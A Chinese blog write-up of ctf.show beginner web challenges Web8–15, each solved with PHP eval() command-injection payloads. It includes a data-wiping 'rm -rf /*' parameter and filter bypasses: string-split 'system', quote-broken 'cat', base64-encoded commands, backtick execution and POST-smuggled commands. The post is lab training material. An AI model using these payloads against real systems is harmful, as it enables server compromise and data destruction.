2 3 4 5 6 7 8 9 10 11 12

ctf-show-萌新-Web8-15

Web8

根据题目提示,他要离开,说明要删库走人了。 ?flag=rm -rf /*

rm -rf /* 是Linux的一条指令,/*代表根目录下所有路径,作用是删除根目录下所有文件,也就是删除系统中的所有文件

格式:rm 指令 路径

Web9

这个正则是字符串中包含 system、exec、highlight才能执行eval() 中的参数&c

?c=highlight_file("config.php");

Web10

这题源码和Web9差不多,只是改变了if判断语句里的条件。

这题和上一题的eval()所包含正好相反,所以需要使用构造法来绕过

使用php多次定义,对system进行拼凑

c=$x='sys';$y='tem';$z=$x.$y;$z('cat config.php');

加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag。

Web11

这题源码和Web10差不多,只是改变了preg_match()函数里的内容。

本题在上一题的基础上加了禁止cat绕过

linux中的tac、more、less、head、tail、nl、sed、sort、uniq.也可以绕过

c=$x='sys';$y='tem';$z=$x.$y;$z('more config.php');

当然单引号或者双引号或者反斜杠也可以绕过cat

ca't config.php
ca"t config.php
ca\t config.php
因为是以字符串的形式,所以用单引号还是双引号则要看你外层用的哪种了,不能产生错误
c=$x='sys';$y='tem';$z=$x.$y;$z('ca""t config.php');

加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.

Web12

这题源码和Web11差不多,只是改变了preg_match()函数里的内容。

这题 过滤了文件名,可以利用base64编解码,将文件名进行编码

c=$x=base64_decode("c3lzdGVt");$y=base64_decode("Y2F0IGNvbmZpZy5waHA=");$x($y);
c3lzdGVt --> system  Y2F0IGNvbmZpZy5waHA -> cat config.php

加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.

系统命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。

比如 cat `ls` 相当于将 ls出来的结果cat。
c=passthru("ca''t `ls`");
执行这些命令执行函数语句一样可以得到flag

Web13

这题源码和Web12差不多,只是改变了preg_match()函数里的内容。

这题是在之前题目的基础上过滤了分号,只能执行一条语句,可以用以上PHP中的命令执行函数(这些函数是有格式的,也就是参数不同),可以使用?>闭合语句。

c=passthru("ca''t `ls`")?>

加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.

Web14

这题源码和Web13差不多,只是改变了preg_match()函数里的内容。

这题是在之前题目的基础上过滤了括号

所以可以是以post方式传入a=cat config.php

?c=echo `$_POST[1]`?>     注意POST是大写,不然flag出不来
post传入  1=cat config.php

加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.

Web15

这题源码和Web14差不多,只是改变了preg_match()函数里的内容。

这题是在之前题目的基础上过滤了问号,但未过滤分号

所以可以是以post方式传入a=cat config.php

?c=echo `$_POST[1]`;     注意POST是大写,不然flag出不来
post传入  1=cat config.php

加载以上语句后,跳转到一个空白页面,此时要查看网页源码才能看到flag.

posted @ 2021-10-16 17:47  MrDevil  阅读(387)  评论(0编辑  收藏  举报